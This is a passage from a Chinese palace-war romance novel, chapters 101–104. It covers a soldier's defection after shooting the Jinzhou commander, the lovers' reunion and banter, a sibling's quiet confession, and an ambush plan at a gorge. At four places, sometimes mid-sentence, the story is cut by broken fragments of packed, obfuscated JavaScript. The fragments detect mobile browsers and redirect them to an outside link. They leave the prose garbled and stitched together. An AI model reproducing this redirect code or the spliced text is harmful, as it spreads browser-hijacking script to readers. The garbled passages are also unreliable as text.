百余人一字排开,纷纷张弓搭箭。他们都是训练有素的城防兵。魏喜为保万全,安排弓箭手之前,先在营中进行了几轮选拔,准头最高的兵士们才能获此“殊荣”。 至于被强拉来充数的百姓们,大多因为无法在短期内学会射箭,被安排去做了普通的刀兵。 石涅亦在刀兵之列,连同有心叛逃的其他兵士们一起,都在比试射术时故意落于人后。 原因也很简单——一旦敌军兵临城下,瑾州参军势必登上城墙,弓箭手们便时时处在他的眼皮子底下,很难有机会悄悄脱身。 唯独燕识风不曾藏锋,被选入了弓箭手之列,此刻亦在城墙之上。 “参军,好像不大对劲啊!”副将靠近几步,指着得月军的方向说道,“他们怎么不动了?” 魏喜冷冷一哼:“他们若再前行一段距离,便到咱们的弓箭射程之内了。依本将看,他们绝不敢贸然前行。说不定,此次出动亦只是虚张声势而已。” 众人静观其变,不多时,就看到得月军分成几队团团围坐,先是燃起几处篝火,继而搭起几口大锅,俨然一片热闹景象。 可惜距离略远,瑾州军闻不到那些锅里的肉汤香味,只能听到得月军的阵阵欢歌笑语。 “他们这是——”副将拧起双眉,刚说了半句话便被魏喜打断。 “混账!”魏喜重重呸了一声,“想乱我军心?做梦!” 语毕,他旋即派人传令:“切莫被敌军之计干扰,待此战告捷,瑾州众兵士亦可大举欢庆,酒肉管够!” 他虽这样承诺了,但众兵心中难免都有微词——人家已经喝上酒,吃上肉了,我们却只能苦盼一个遥遥无期的“告捷”之日。若再这么耗下去,只怕朝廷的援军还没到,我们就先闹饥荒了。 空等许久,弓箭手的胳膊都有些酸麻了,时不时回头望一眼魏喜,他却毫无反应。最后还是他的副将有所察觉,让他们先收箭待命。 太阳渐渐西沉,待天光隐没,夜幕升起,城外的几处篝火显得愈发明亮,久久吸引着瑾州守军的目光。 “他们这顿饭,吃的可真够久的。”魏喜冷笑道。 “依您之见,他们会在今晚攻城吗?”副将问道。 魏喜轻蔑一哂:“攻什么城?你没看他们连冲车都没带吗?” 燕识风此刻适时插话:“合着他们就是故意大吃大喝一通,盘算着气咱们呀?” 魏喜对这个小兵很有印象——选拔弓箭手时,他总是能拔得头筹,还曾放出话来: “来日两军交战,卑职定将一箭射穿敌首的头颅!” 这小兵叫什么名字来着? 魏喜记不太清了,只能再问一遍。 “卑职燕衡。”他说。 魏喜斜瞥他一眼:“你若被气到,可就中了他们的计了!” 燕识风深呼吸几次:“卑职不生气,但、但卑职就是看不惯他们那么得意洋洋的样子!” 参军好像听了个笑话:“你看不惯,又待如何?” 燕识风上前两步,行礼道:“卑职自请带队冲入敌营,杀他们个措手不及!” 魏喜起初并不认同他的提议:“如今敌众我寡,你纵带人突袭,也不过是蚍蜉撼树罢了。” 燕识风却道:“常言道,擒贼先擒王。倘若卑职此次突袭,能成功射杀敌首,便能扰乱敌方军心,威壮我方声势!” 魏喜暗自思忖:这股叛军起事时打着复国的旗号,虽于招揽遗民、笼络人心有利,但其中的弊病也很明显—— 一旦长公主母女殒命,他们复国的希望就会随之破灭。到那个时候,这股军队便也不战自败了。 魏喜犹豫片刻,向燕识风询问道:“你有几分把握?” 燕识风自信满满道:“卑职箭术如何,您再清楚不过了。只要您愿意拨一队兵士掩护卑职,此事便十拿九稳。” 魏喜又问:“你要多少人?” 燕识风不露底牌,佯装思索一瞬道:“此去凶险万分,卑职等人未必能活着回来。生死大事,还是让弟兄们自己抉择吧。若有十人愿去,卑职便带十人。若有一人愿往,卑职便带一人。” 魏喜点头道:“好,那你就先下去问问。事成以后,本将重重有赏!” 燕识风立时下了城墙,很快便回来禀报:“共有二十七人愿随卑职前去。” 魏喜盘算片刻,吩咐道:“没必要去太多人,算上你一起,二十个足够了,你自己从中挑些精敏可用的便是。” “卑职领命。”燕识风又道,“去二十个人,最好能骑二十匹战马。如此速度更快,他们掩护卑职也更方便。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056039|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 魏喜有些不舍得,瑾州总共才只有八十多匹战马。这次一下派出去二十匹,万一有去无回可怎么办? 唉,也罢,世上没有一本万利的买卖。若想挣来大功,便不能在这些小事上束手束脚。 此事若败,瑾州不过损失二十兵士、二十战马。但若能胜,那便是滔天之功啊! “好,就按你说的办!” 魏喜把自己的令牌交给燕识风,走到城墙中心,挑了个视野最好的位置等待他的行动。 不多时,城门缓缓打开,从中冲出一队骑兵。 魏喜低头望去,粗略数来,却发现数量不对。 “怎么回事?这些绝不止二十匹战马啊!” 副将快速估量一番,惊道:“这、这得有八十匹吧?” 魏喜目眦欲裂,只见那八十人马身后还跟着几十名步兵,一同飞奔出了城门。 “这是怎么回事!?”魏喜大吼道。 副将来不及深究,连忙高声下令:“关城门!快关城门!” 眨眼间,这一百余人已经远去。骑兵在前,步兵在后,唯燕识风一人策马居于队尾。 魏喜后知后觉:“不对,有问题,那个燕衡一定有问题!” 语毕,他高高举起手臂,即将下令放箭。 燕识风恰在此时调转马头,不疾不徐地瞄准目标,向斜上方射出一箭,继而飞速回身:“驾!” 魏喜一人的痛呼声太小,他听不真切。但魏喜中箭倒地后,城墙上的百余名兵士纷纷惊呼,乱作一团的声音倒是传进了他耳中。 当初对魏喜说过的话,燕识风终于做到了,甚至还提前做到了—— 今日两军尚未交战,他便已一箭射穿敌首的头颅。 这就是他在临别之际向长公主承诺,要带给江御暮的见面礼,也是他交给她们的投名状。 从这一刻开始,他终于彻底和从前的身份划清了界限。 从这一刻开始,他终于能名正言顺地回到江御暮身边。 从这一刻开始,他终于洗清了今世的原罪,得以做回前世的自己,不再留下任何遗憾。 一行人飞速来至得月军近前。 众兵虽已听说今夜会有一队瑾州军前来归降,却并未放松警惕,而是时刻做好应战的准备,仔细观察对方是否有诈降的迹象。 江御暮也提剑起身,向这队人马看去。 带队那人手握长弓,身背箭筒,匆匆翻身下马,三步并作两步来至江家母女身前,率先下拜行礼。 “卑职瑾州城防兵,率众前来投效!” 他分明顶着一张陌生的脸。 但是从他出现在视野里的那一刻起,没来由的,江御暮便认出了他是谁。 长公主垂眸看着他,一开口却是对身旁的女儿说话:“让他起来回话吧。” 燕识风并未起身,只是抬起头,静静望着江御暮的双眼。 江御暮也与他对视着。易容后的人顶着假面,只有一双眼睛是真的,是他的。 她没有出声,缓缓向他伸出一只手。 他的眸中闪过一点亮光,像湖水粼粼,又像夜幕中的遥远彗星。 终于,他握住了她的手。 这一次握住,就不愿再放开。 102. 江御暮率军安营寨,燕识风恃宠而…… 魏喜死得出人意料,瑾州众兵一时都慌了手脚,还有不少人趁乱脱逃,溜回家藏了起来。 参军副将指挥作战的经验远不足魏喜,加之两军人数差距明显,他从一开始就没有什么得胜的决心。 敌军向瑾州城攻来时,他下令放出的几波箭雨都被对方先头兵的盾牌挡下,收效甚微,参军副将仅剩的那么点心气便也匆匆消磨没了。 更让他头疼的是,外敌尚未攻入城中,他们自己人竟先起了内讧。 守在城门后方的刀兵们各执己见,有人决心归降,有人执意死战。众兵各分阵营,一时斗得两败俱伤。 长公主本以为瑾州这块骨头会比珏州难啃许多,没想到二者竟然半斤八两。瑾州备战许久,甚至还比不上珏州被突袭时的表现。 仅仅一夜战罢,天光初现时,瑾州的几百残军便放弃了挣扎,主动打开城门受降。 更让众人意外的是,战前还宣称宁死不屈,自言铁骨铮铮的瑾州刺史,竟在昨夜两军激战正酣时,偷偷携家眷弃城而逃了。 瑾州易主后,孟家自然要兑现承诺。孟聪与长公主密谈半晌,不知定下了何种契约,出门时喜上眉梢,立时把袁清尊为孟家第一大功臣。 与此同时,江御暮正率军在城外近处重新扎营。 燕识风寸步不离地跟着她,时而举止暧昧,时而争执吵嘴,所到之处无不引来一片议论。 当然,这种议论并无恶意,更像是一种啧啧称奇。 毕竟在这偌大的军营里,敢和江御暮这样没大没小、不顾尊卑的人屈指可数,除江家兄妹和宁问归以外,便只有他了。 “诶,你们听说过这个燕识风吗?”一名原属京城禁军的小卒问道。 “听说书先生讲过,但不知道是不是同一个人。”一名原属珏州城防兵的小卒答道。 “肯定是同一个人!”一名原属瑾州城防兵的小卒分析起来,“你们不知道,他在我们营里用的一直是化名‘燕衡’。之所以不用真名,肯定是怕旁人察觉他与小殿下的关系,从而怀疑他并非真心投效瑾州军。” 此话一出,众人都觉有理。 说着说着,话题便往歪处拐去了。 “你们说,既然前太子已经死了,当初那场比武招亲的结果还作不作数啊?” 众人莫衷一是,恰逢江连镜从不远处路过他们,其中一人便用胳膊肘戳了戳身旁的人:“你和世子熟,你去问问他呗?” “世子”是他们对江连镜的称呼。其实这个称呼并无依据,毕竟依礼而言,唯有王爷之子才能被称作世子,但江淮照在明面上早已“病逝”,且已决意归隐,不再“复生”。而他生前并不曾被封过王,江连镜自然也做不得所谓的“世子”。 但兵士们对他总要有个称呼。叫少爷?总显小气。叫官衔?他又不曾被封官。纠结犹豫下来,众兵还是约定俗成唤他“世子”。 说是拍马屁也好,说是会来事也罢,既然长公主都不觉得这个称呼僭越,他们又有什么好纠结的呢? “行,那我去问问。”这小兵见同僚吹捧他与世子关系熟稔,不由得意起来,想在弟兄们面前给自己长长脸。 他刚迈出步子,江唤玥便不知从哪冒了出来,伸手拦住他的去路。 “小郡主?”不必多说,这个称呼自然也是众兵拍她马屁的方式。 江唤玥虽不曾亲自上阵杀敌,却也在军营里待了许久,将性子磨砺得锐利许多,亦很少与兵士们调笑。 她微微抬头看着那小兵,冷脸道:“听我一句劝,别去找我兄长触这个霉头。” 那小兵虽比江唤玥年长几岁,此刻却有些怵她,闻言也不敢追问原因,只得点头道:“是!卑职多谢小郡主提点。” 江唤玥又将目光扫过其余诸人,像一种无声的警告,继而转身离去,未置一词。 众兵才松了一口气,宁问归又从他们身后路过,绕到前方,对他们笑了笑:“聊比武招亲呢?” 众兵这才想起来,宁问归也是当初那场比武招亲里的一个重要角色。 “不、不聊了。” 他们后知后觉地反应过来——既然宁问归从一开始就是长公主的人,那么燕识风会不会也是一样?他们合谋设局,就是为了把前太子引入彀中? 倘若真是这样,那么小殿下与燕识风的对局胜负便不能作数了吧? …… “凭什么不作数?”燕识风在帐外止步,掀开门帘对江御暮不服气道。 江御暮刚刚踏入帐中,闻言转过身看向他,理直气壮道:“因为我当初是故意输给你的,咱们并未真正分出胜负。” 燕识风气极反笑,一手叉着腰哼出一哂:“你是想说,等我有一日真正胜了你,才有资格——” “不。”江御暮直接打断他,“恰恰相反。” 她走近他两步,伸手勾住他衣领,把他拉进帐中。门帘落下,二人四目相对,鼻尖相抵。 “我不喜欢能胜过我、想胜过我的人。” 久违的近距离接触使二人都有些不习惯。江御暮顿了顿,伸手抚上他的面颊。 “你若真心喜欢我,便输我一辈子吧。” 燕识风抓住她的手,不知是愠是恼,近乎自言自语:“我不是早就输给你了么?时至今日,什么都输没了……” 易容后的假脸委实僵硬,无法精准表达他的委屈。江御暮看着那双欲皱未皱的眉毛,不禁笑了出来。 “你怨我吗?”她微笑着问。 燕识风按住她的嘴角,不许她嘲笑自己:“你若不想我怨你,那就不要始乱终弃啊。” 江御暮移开他的手,并未接这个话茬,而是抬头去吻他的唇角。 不料燕识风竟一扭脸躲开了她的动作,还用掌心拦住她靠过来的下半张脸,别别扭扭道:“不行。” “为何不行?”江御暮贴着他的掌心说话,咬字有些模糊。 燕识风抿了抿唇,看向她正色道:“我现在这张脸,不是我自己的脸。” “那又如何?”江御暮不懂他在别扭什么,“费姨又不是把别人的脸撕下来贴在你头上了,只不过是凭空造了一张假面,你还是你自己呀。” 燕识风并未被她说服, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068205|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转而问道:“那你更喜欢哪张脸?” “当然是你自己的脸了。”这是实话,她没必要藏着掖着。 燕识风好似这才满意,于是放下了捂在她嘴上的手。 江御暮决心扳回一局,于是后退两步,对他命令道:“我懒得抬头了,你自己过来亲我。” “不行。”燕识风再次斩钉截铁地拒绝。 “又不行?”江御暮也气笑了,“这次又是因为什么?” 燕识风偏过头避开她的眼神,本想佯装洒脱,奈何话一出口就变了味:“没名没分的,卑职凭什么任小殿下这般欺负啊?” 江御暮又把问题抛了回去:“你想要什么名分?” 燕识风语塞半晌,就吐出来一句:“反正我不做面首。” 江御暮失笑:“那便是要做正宫了?嗯,有野心。” 燕识风没好气道:“怎么,我不配做小殿下的正宫么?” 江御暮一本正经道:“自古以来,唯有贤良淑德者才能为人正宫。可我瞧你这动不动就拈酸泼醋的样子,哪有正宫风度?倒像是恃宠而骄的媵人。” “恃宠而骄?”燕识风愈发不服气了,“你何时宠过我?” 江御暮抱臂转身道:“不宠都如此骄纵了,倘若得宠,那岂不是要翻天了?” 燕识风大步追上去,绕到江御暮身前挡住她的去路,阴阳怪气道:“我在你眼里究竟是什么人啊?薛怀义还是张易之?” 江御暮越逗他越觉得有趣,索性像模像样地分析起来:“肯定不是张易之啊,你那几个兄弟……啧。” 说着,她摆出十分嫌弃的表情,挤眉弄眼道:“谁能做张昌宗啊?” 燕识风渐渐发现了,江御暮似乎就喜欢看他在她面前受气吃瘪的样子。 “好,我认输。”他环住她的腰,索性举旗投降。 本以为这一吻终于能顺利落下,谁知二人刚凑到一处,帐外便传来江连镜的声音。 “江御暮,你在吗?我有话问你。” 燕识风动作一僵,放在她腰侧的手加重了几分力气。 江御暮扭头冲帐外喊道:“你先等等。” 继而拍一拍燕识风的脸:“你先出去一下。” 燕识风冷笑道:“怎么,不能让他瞧见咱们在一块吗?要不要我跳窗逃走啊?” 江御暮轻啧一声:“还说你不是恃宠而骄?” 燕识风松开手,后退半步,低声道:“你若当真宠我,就先让他进来,我再出去。” 江御暮懒得与他争执,便走到门边掀开帘子,让江连镜进到帐中。 江连镜本就面色不佳,看到燕识风也在后,表情立时变得更为凝重。 江御暮回身对燕识风道:“行了,你走吧。” “是,小殿下。” 燕识风故意把语速放慢,一步步向她走去。 即将与江御暮擦肩而过时,他再度伸手勾住她的腰,在她唇上印下一个轻快的吻,一触即分。 她先前的评价不够准确,他便亲自示范给她看看。 这才叫恃宠而骄。 103. 撞南墙算清糊涂账,破窗纸言明护…… “你要说什么?”江御暮问。 江连镜沉默着走近她,欲言又止之际,江唤玥忽然掀帘而入,闯进帐中。 “你果然在这。”她气喘吁吁看着江连镜说道,“真行,我一眼没看住,你就跑没影了。” “出什么事了?”江御暮见她有些慌乱,第一反应便是如此。 江唤玥连忙摇摇头,继而跑到兄长身边拉住他的胳膊,生怕他说出什么覆水难收的话,一边使眼色一边提醒道:“哥,我找你有点急事,你先出来帮我处理一下。” 江连镜心知她此言不实,板脸道:“别胡闹了。” 江唤玥仍是嘴硬:“真有事,你出来就知道了。” 江御暮垂眸一笑,走过去拉住江唤玥的手,与她对视道:“唤玥,我知道你是好心,不想看到家人闹不愉快。但是……有些事,我们如果一直刻意避开不谈,这根刺就会越扎越深。倒不如索性把它说开了,也许这样一来,我们反而不会觉得那是什么大事了。” 江唤玥看看她,又看看江连镜,终究不能全然放下忧虑,于是提出:“那你们别赶我出去。” 当着她这个妹妹的面,江连镜纵有多少不中听的话,应该也会有所收敛吧? 江连镜像是猜懂了她的心思,用手指在她眉心轻戳几下,不满道:“你以为我是来找她吵架的吗?” 江唤玥没有回答,眼神仿佛在问:难道不是吗? 自从燕识风出现,江连镜就憋着一股气,对谁都没有好脸色。旁人不知道原因,她却是再清楚不过了。 江唤玥越想越觉得此事棘手,便去找宁问归商量应对之策,却只得到一句—— “这种事,咱们局外人还是少掺和为妙。” 江唤玥不服道:“你是局外人,我可不是。他们俩一个是我长姐,一个是我长兄,我怎么能袖手旁观啊?” 宁问归见自己劝不动她,便也只能顺着她问道:“如此说来,你是希望他们能亲上加亲了?” 江唤玥泄气一叹,摇头道:“怎么可能,我长姐根本没那个心思嘛。我是怕兄长他不撞南墙不回头,非要找她表明心迹,闹得两厢尴尬,不好收场。” 宁问归听罢失笑:“唤玥啊唤玥,你一个小姑娘都能看出的门道,你觉得御暮会看不出来吗?” 江唤玥语塞片刻,嘟囔道:“不是都说当局者迷,旁观者清嘛……” 宁问归反驳道:“你长姐可不是糊涂虫,他们之间的这笔糊涂账,不论最终能否算清楚,旁人掺和进去都是无济于事的。” 江唤玥当时还不以为然,现在见到江御暮是如此态度,她才知宁问归所言非虚。 不知怎的,她忽然生出一种山雨欲来的预感,总觉得江连镜迟早要在江御暮面前将心底积压的情愫宣泄出来,也许是用眼泪,也许是用怒吼,总之场面不会太好看。 出乎她意料的是,江连镜此刻显得十分平静,仿佛把一切情绪都收了起来。 他看着江御暮的眼睛,轻声道:“记得吗,你还欠我一个问题。” “嗯。”江御暮点点头,“你想问什么,现在就问吧。” 江连镜低下头抿了抿唇,继而扭头朝帐外的方向看去。 “为什么?”他问。 江御暮猜到这个问题大概率和燕识风有关,但是不知道他具体想问什么,便道:“你是想问——我为什么没有杀他,反而容他改名换姓留在我身边?” “何必问这个呢?答案显而易见。”江连镜自嘲一笑,再度对上她的双眼,“因为你爱他。” 江御暮没有直接承认,只道:“你是想问——我为什么爱他?” “差不多吧。”江连镜略作纠正,“为什么偏偏是他,不是别人?” 至于这个“别人”是谁,在场三人都心知肚明,但是没有人戳破窗户纸。 江御暮想了想,说道:“原因很多,我也不知道该从何答起。” 江连镜扯了扯嘴角:“那就换个问题吧——别人到底比他差在哪里?” “不是差。”江御暮很快给出回应,“别人并不比他差,只是……他有点不同而已。” 她虽语带安慰,江连镜却并不觉得自己被安慰到了,反而愈发不甘:“他有什么不同?” 江御暮思索良久,决定用一种特殊的方式回答这个问题。 “你听说过薛怀义和张易之吗?”她问。 江连镜微微蹙眉:“谁?” 江唤玥和他对视一眼,慢慢摇了摇头。 江御暮又问:“你知道姜太公钓鱼,为什么不用鱼饵吗?” 江连镜嘴唇动了动,却没说出什么话来。 江唤玥同样疑惑:江太公?是江家的哪位长辈么?没听说过啊…… 江御暮很快便问出第三个问题:“你知道‘与君离别意’的后半句应该接什么吗?” 江连镜本可脱口而出,用不止一种方式对上这半句诗,并且保证平仄无误,意境相合。但是他知道,江御暮现在并不是在考验他作诗的本领。 “这三个问题,他都知道答案,是吗?” 江御暮点点头,没有再说什么。 江连镜并未完全理解这三个问题背后的内涵,但他隐隐生出了一种奇异的直觉。 “你和他……有着同样的‘不同’,是吗?” 江御暮没料想他能猜到这一层,惊讶之余亦有欣慰:“是。” 江连镜忽而无声一笑。那并非释然的笑容,更像恍然大悟,亦无可奈何。 沉默半晌,他才再度开口。 “能与心爱之人两情相悦,实属难得。” 江连镜低垂着目光,不去看江御暮的脸,逼自己迈出这一步。 “恭喜……长姐。” 自降生始,这是他第一次当面唤她“长姐”。 从今以后,他们便只是姐弟了。 有些话不必说破,彼此也能心照不宣。 至于那些难以言说的情愫,便让它彻底隐没在亲人之爱的背后吧。 …… 江家兄妹一同离开江御暮的营帐后,不多时,燕识风便不请自来。 彼时江御暮坐在床边,正望着一块空地出神。 燕识风走到她面前,蹲身在她眼前晃了晃手:“小殿下怎么如此不警觉?我都走到你眼皮子底下了,你还没发现?” 江御暮答非所问:“就知道你会回来。” 燕识风见她并未责怪自己擅闯营帐,便更进一步,在她身边坐下,试探着问道:“你们方才聊什么了?” 江御暮双手撑在身后,仰头道:“你与其现在来问我,还不如方才直接在帐外偷听墙角呢。我最喜欢骗人了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085100|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你知道的。” 燕识风干笑一声,酸溜溜道:“小殿下跟未婚夫谈天说地,卑职哪敢偷听墙角?万一不慎打翻醋瓶,让您那未婚夫闻见酸味,卑职还有命活吗?” 江御暮斜睨他一眼,坦言道:“早提醒你我喜欢骗人了,你竟还会相信那些鬼话,举世都找不出第二个如此好骗的人了。” 燕识风先是一怔,继而伸手揽住她的腰,难捺欣喜道:“你和他没有婚约?” 江御暮轻拍他的手背:“不要僭越。” “我偏要僭越。”燕识风用两只胳膊环住她的腰,“我偏要恃宠而骄。” 江御暮看着他叹了口气:“你变化真大,一点没有从前做太子时的威仪。” 燕识风索性顺杆爬,把脑袋埋进她颈窝里,轻吻道:“我就这样,你自己招惹的,悔也晚了。” 江御暮推开他的脑袋,正色道:“行军路上不要胡闹。” 燕识风的呼吸落在她颈间,勾起一片痒意。 “好,遵命。”他柔声道,“反正咱们的日子还长。” 江御暮坐直身子理了理衣襟,正准备站起来,忽而被燕识风牵住了一只手。 他没有说话,从荷包里取出一样物什,小心翼翼地戴在她的手腕上。 江御暮定睛一看,竟是那枚白玉平安扣。 “这次别再把它丢了。”燕识风轻吻她的掌心,语带幽怨道。 江御暮只觉心头一暖,微笑颔首道:“嗯,我好好收着。” 她待要起身,燕识风却还是不放手,用力一拉,又把她拉入了自己怀中。 “我也要。”他撒娇般说道。 “要什么?” “定情信物啊!”燕识风理直气壮道,“你一次也没送过我。” 江御暮却信誓旦旦道:“谁说我没送过?我送你的礼物,你不是一直带在身上吗?” 燕识风短暂一愣,继而握住自己的荷包,不太确定道:“你是说那朵红碧桃?那可不算数!” “不。”江御暮的手指从他的腰侧抚到腰后,“我是说——这张平安符。” 燕识风身体一僵,不知腰后是否起了一片鸡皮疙瘩。 “什么平安符?” 他的腰后不是只有一片蛊纹吗?而且一直是瞒着她的呀! 江御暮直视着他的双眼:“之前一直没机会告诉你,飞鸿影也是我们的人。” 燕识风听罢,顿时惊得说不出话来。 “你有仔细观察过自己腰后的纹样吗?”江御暮问。 燕识风还未从刚才的冲击中走出来,一时间仿佛失了声,只能摇摇头。 如此晦气的东西,他闲着没事观察它做什么? “如果你仔细瞧瞧,也许就能发现,它不过是一片刺青而已。” 燕识风张了张口,声音稍显干涩:“刺的是……护身符?” “算是吧。”江御暮耸耸肩,“其实,那是一句异国文字。” “此句何意?”燕识风忙问。 江御暮倾身附在他耳边,郑重说出三个字。 “活下去。” 燕识风顿时想起,飞鸿影施法“移蛊”之时,他曾让系统观测自己的死亡。 但在那天的梦境中,他第一次走向了观测失败的结局。 原来是她,让他活下去。 104. 燕识风争功入险谷,费杏林送亲扮…… 得月军并未在瑾州久留,简单休整后,很快就再度出发,继续往京城赶去。 瑾州与京城之间只隔着一座城池——骐州。 骐州与瑾州相距颇远,且官道两侧常有高山,行路时务必多加小心。 一行人走走停停,几日后便靠近了一处峡谷的入口。长公主随即下令扎营休息,今日不再前行。 江御暮觉得有些奇怪:“就算红英拖延了一段时日,也不可能一直拖下去,穆归礼迟早会调兵来镇压叛军。算算时日,两军早该相遇了,咱们为何直到现在都看不见他们的人影呢?” 长公主望着峡谷的方向,负手道:“你若是他们的军师,会如何对付咱们?” 江御暮顺着她的目光看过去,立时反应过来:“您是说,他们有可能已经埋伏在峡谷里了,就等着咱们自投罗网呢?” 长公主颔首道:“这条路上虽然多山,却只有这一处峡谷的两面坡度都恰到好处,且灌木丛生,最适宜埋伏其中。一旦他们在此设好落石阵,咱们进入峡谷以后,便成了瓮中之鳖,连保命都难,更别说反击了。” 江御暮想了想,问道:“这种可能性虽然很高,但咱们并不能百分百确定。倘若朝廷的军队当真有所迟误,尚未赶到此地呢?咱们是不是可以先人一步,在峡谷内设好埋伏?” 长公主没有反驳,只道:“那就派个人去峡谷里探一探吧,先搞清楚是否已经有人埋伏其中。” “是,女儿这便去传令。”语毕,江御暮转身欲走。 这差事太危险,万一峡谷内真有伏兵,探子稍有不慎便会丧命,须得派个机灵勇毅,处变不惊之人才好。 “等等。” 长公主叫住了她,却并未回头看她。 “让他去。” 江御暮反应了片刻,仍然不太敢确定,只得询问道:“您是说——燕识风?” 长公主“嗯”了一声,没有解释原因。 江御暮疑惑道:“这是您对他的考验?” 长公主哼出一笑,摇头道:“这是我给他的机会。” 江御暮仍是一知半解,正欲再问,长公主便主动为她解惑道:“想让我认下这个女婿,他总得有点功劳傍身吧?瑾州一战他虽已崭露头角,但其后若再无功绩,岂非泯然众人?” 江御暮把这番话转述给燕识风后,还未来得及询问他的意愿,他便已一口答应下来。 二人商议片刻,决定让燕识风扮作赶路的商人,光明正大地进入峡谷。倘若探得谷内已有伏兵,为免他们起疑,回程时便换作书生打扮,弃马步行,以防伏兵察觉有人在谷中进而复退,暴露他是前来侦查的探子。 此事议罢,燕识风收拾好行囊,策马而去。 大军仍在原地驻扎,打猎的打猎,巡逻的巡逻。练兵时间之余,江御暮偶尔也会望着峡谷的方向出神。 漫长的两日一夜过去,她终于等到了燕识风平安归来。 长公主一见他此刻换作了书生打扮,便知他在谷内发现了伏兵,连忙询问详细情况。 燕识风道:“自峡谷入口算起,再行约莫十里便有伏兵,都在左右两侧的半山腰上藏着,夜晚不甚明显,白日里稍稍细看便能发现。而且树丛里多有巨石,显然是被人刻意堆放的。” 长公主又问:“他们有多少人?” 燕识风回忆片刻道:“他们都藏在树丛里,委实难以算清人数。但是从伏兵分布的范围之远来推测,他们的人数一定比咱们多。” 江御暮看着地图,蹙眉道:“这片峡谷是前往骐州的必经之路,若从其他州府绕道而行,所费时间怕要多出十倍不止。” 长公主扫视地图一眼,笃定道:“不必绕行,但也不能硬闯。” 江御暮稍显讶异:“母亲已有良策?” 长公主轻笑一声,坦言道:“现下可用的只有三种办法,都算不得良策,只是凑合能用罢了。” 第一种办法——火攻。 “如今正是秋日,山中多有落叶枯草,只要咱们在落石阵外点燃山火,经风一吹,他们便无路可逃了。” 江御暮听罢,马上提出反对意见:“此招胜算虽大,却是后患无穷。山火一旦燃起,就不会轻易熄灭。若无天降大雨,这场火少则燃上十天半月,多则数月不能停息。咱们就算灭了敌军,短期内也无法赶路了。” 长公主接着说起第二种办法——等雨。 “一旦此地下起雨来,哪怕雨势不算很大,敌军也无法继续埋伏在山间,否则很有可能被泥水裹挟而下,以致重伤甚至丧命。只要等他们撤回官道上,咱们便可远远用投石车打他们一个措手不及。” 江御暮听罢仍是摇头:“万一天公不作美,咱们岂不是要一直等下去了?您还是说说第三种办法吧。” 长公主垂眸沉默片刻,继而抬眼与江御暮对视道:“第三种办法,需要你去涉险。” 江御暮闻言并无畏怯之意,只问:“如何涉险?” 长公主深吸一口气,握住她的手道:“由你带领一队精兵扮成普通百姓,从敌军的眼皮底下公然穿峡谷,过骐州,直入京城。” 江御暮先是一惊,继而定了定神,说道:“倘若要行此招,只怕我带不了太多人,否则肯定会引起敌军的怀疑。” 一旦在峡谷内暴露身份,她们这一行人便必死无疑。除非对方刚刚发难时,她们就果断引发山火,那样或许还有逃出生天的可能。 长公主思忖片刻,问道:“京内现在状况如何?” 江御暮答道:“城防兵里已经安插了几十个自己人,陆一峰、李节也有希望为我所用。咱们若想躲过盘查,带兵器甲胄潜入京城,其实不算太难,只需保证在某一时刻,看守其中一扇城门的兵士全都是自己人即可。” 长公主又问:“宫里的人呢?” 江御暮道:“红英安排了几十个人,表面上说是杀了她们取引炼丹,实际上,她们应该一直潜藏在宫内各处,静待行动的信号。” 长公主沉思良久,问道:“若要攻京,你至少需要多少人?” 江御暮盘算半晌,实在有些拿不准。 长公主也知道她没有太多带兵打仗的经验,便换了种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093358|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问法:“倘若不要你攻城,只要你潜入京城后,带人斩除所有皇室宗亲,并且进宫杀死穆归礼,你至少需要多少人?” 江御暮松了口气:“若只需做到这些,百余人就够了。” 长公主点点头,交给她一块令牌:“去挑人吧。” …… 两日后,峡谷之内。 喜庆的乐声伴着初升的朝阳响起,一支送亲队伍在官道上稳步前行。 十六抬大花轿颇有气势,后面的马车拉着许多装嫁妆的箱子,一看便知是大户人家的做派。 骐州参军隐匿在半山腰的树丛里,望着官道上的赤色长队,向身旁的人问道:“将军,这得有近两百人吧?会不会有问题?” 